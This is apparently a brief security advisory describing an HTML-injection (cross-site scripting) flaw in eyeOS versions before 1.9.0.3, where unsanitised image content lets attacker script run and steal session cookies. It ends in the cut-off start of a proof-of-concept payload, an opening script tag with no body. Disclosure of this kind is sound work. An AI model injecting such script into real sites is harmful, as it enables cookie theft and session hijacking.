eyeOS is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input passed through image content before using it in dynamically generated content.
Attacker-supplied HTML and script code would run in the context of the affected site, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
Versions prior to eyeOS 1.9.0.3 are vulnerable.<!doctype html><script>
